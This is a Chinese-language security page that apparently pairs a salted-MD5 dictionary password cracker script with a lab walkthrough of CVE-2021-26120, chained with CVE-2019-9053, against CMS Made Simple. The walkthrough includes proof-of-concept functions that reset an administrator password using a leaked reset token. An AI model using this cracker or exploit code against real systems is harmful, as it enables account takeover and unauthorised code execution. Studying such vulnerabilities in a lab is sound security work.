import optparse import hashlib import os #输入盐值,密码字典路径,密文,程序将自动破解密码,python xxx.py -s xxxxxx -w yourPATH -m xxxxx parser = optparse.OptionParser() parser.add_option("-s","--salt",action="store",dest="salt",help="Enter the salt of the password to decrypt,ex. 451292bfaed931a5") parser.add_option("-w","--wordlist",action="store",dest="wordlist",help="Enter the path of the wordlist file") parser.add_option("-m","--miwen",action="store",dest="miwen",help="Enter the miwen to decrypt,ex. 1234567890abcdef") options,args = parser.parse_args() ifnot options.salt: parser.error("Please enter the salt of the password to decrypt") ifnot options.wordlist: parser.error("Please enter the path of the wordlist file") ifnot os.path.exists(options.wordlist): parser.error("The wordlist file does not exist") password = "" defcrack_password(): global password global wordlist global salt global miwen flag = False wordlist = open(options.wordlist) salt = options.salt miwen = options.miwen for word in wordlist: word = word.strip() # 去掉换行符 if hashlib.md5((salt + word).encode()).hexdigest() == miwen: password = word flag = True break if flag == False: password = 'password not found' wordlist.close() print("Password found: "+password) crack_password()
CVE-2021-26120
Smarty 3.1.39 之前的版本允许在 {function name= 子串后注入PHP代码,导致代码注入漏洞,该漏洞即为CVE-2021-26120。 CMS Made Simple 版本 <= 2.2.15,拥有设计师权限的用户可以在后台利用服务端模板注入漏洞,即为前面提到的CVE-2021-26120。 因此,如果CMSMS版本低于2.2.9.1,未授权的攻击者可以结合CVE-2019-9053和CVE-2021-26120漏洞,在服务器上执行任意代码。 docker-compose up -d启动CMS Made Simple 2.2.9.1服务器。然后访问127.0.0.1/install.php并安装CMS服务。 通过python poc.py 127.0.0.1 / id命令启动脚本可以使用SQL注入漏洞重置管理员密码并执行任意命令。 密码重置分为两个阶段执行:
第一阶段:验证用户名并触发密码重置。
这一阶段先通过时间盲注查询用户名和重置密码所需的changepwhash
1 2 3 4 5 6 7 8
defreset_pwd_stage1(t, usr): d = { "forgottenusername" : usr, "forgotpwform" : 1, } r = requests.post("%sadmin/login.php" % t, data=d) assert ("User Not Found"notin r.text), "(-) password reset failed!"
第二阶段:使用泄露的重置令牌修改用户密码。
通过得到的changepwhash构造HTTP POST请求即可将密码重置
1 2 3 4 5 6 7 8 9 10 11 12 13 14
defreset_pwd_stage2(t, usr, key): d = { "username" : usr, "password" : usr, # just reset to the username "passwordagain" : usr, # just reset to the username "changepwhash" : key, "forgotpwchangeform": 1, "loginsubmit" : "Submit", } r = requests.post("%sadmin/login.php" % t, data=d) match = re.search("Welcome: <a href=\"myaccount.php\?__c=[a-z0-9]*\">(.*)<\/a>", r.text) assertmatch, "(-) password reset failed!" assertmatch.group(1) == usr, "(-) password reset failed!"